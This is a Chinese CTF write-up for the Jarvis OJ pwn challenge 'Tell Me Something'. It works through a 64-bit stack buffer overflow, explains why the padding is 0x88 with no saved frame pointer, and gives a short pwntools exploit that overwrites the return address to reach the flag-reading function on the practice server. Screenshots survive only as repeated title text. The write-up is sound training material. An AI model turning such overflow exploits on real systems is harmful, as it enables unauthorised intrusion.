记一个64位栈帧的坑!!!

老板儿,链接要得:

https://files.cnblogs.com/files/Magpie/guestbook.rar

nc pwn.jarvisoj.com 9876

第n次checksec...:

Jarvis Oj Pwn 学习笔记-Tell Me Something

宣IDA觐见:

Jarvis Oj Pwn 学习笔记-Tell Me SomethingJarvis Oj Pwn 学习笔记-Tell Me Something

good_name一看就很妖孽,于是跟进去:

Jarvis Oj Pwn 学习笔记-Tell Me Something

好嘛~搞定了这不!

看一下main函数的溢出点:

Jarvis Oj Pwn 学习笔记-Tell Me Something

于是payload:

junk='A' * (0x88 + 0x08)

ret=p64(0x400620)

payload=junk + ret

写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~

所以,有坑!

现在我们来看一下汇编:

main:

 

Jarvis Oj Pwn 学习笔记-Tell Me Something

 good_name:

 Jarvis Oj Pwn 学习笔记-Tell Me Something

 仔细一看,惊了!

main:Jarvis Oj Pwn 学习笔记-Tell Me Something----->Jarvis Oj Pwn 学习笔记-Tell Me Something

good_name:Jarvis Oj Pwn 学习笔记-Tell Me Something & Jarvis Oj Pwn 学习笔记-Tell Me Something----->Jarvis Oj Pwn 学习笔记-Tell Me Something

所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp ,     mov ebp,esp ,     sub esp,size_of_frame)是不一样的!

因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8

这样一来问题就解决了,我们上exp:

 1 from pwn import*
 2 r=remote('pwn.jarvisoj.com','9876')
 3 print r.recvline()
 4 pad='a'*0x88
 5 add=p64(0x400620)
 6 payload=pad+add
 7 r.sendline(payload)
 8 print payload
 9 print r.recvline()
10 print r.recvline()

从这道题中我们得到一个教训:

看汇编!

看汇编!!

一定要看汇编!!!

 

相关文章: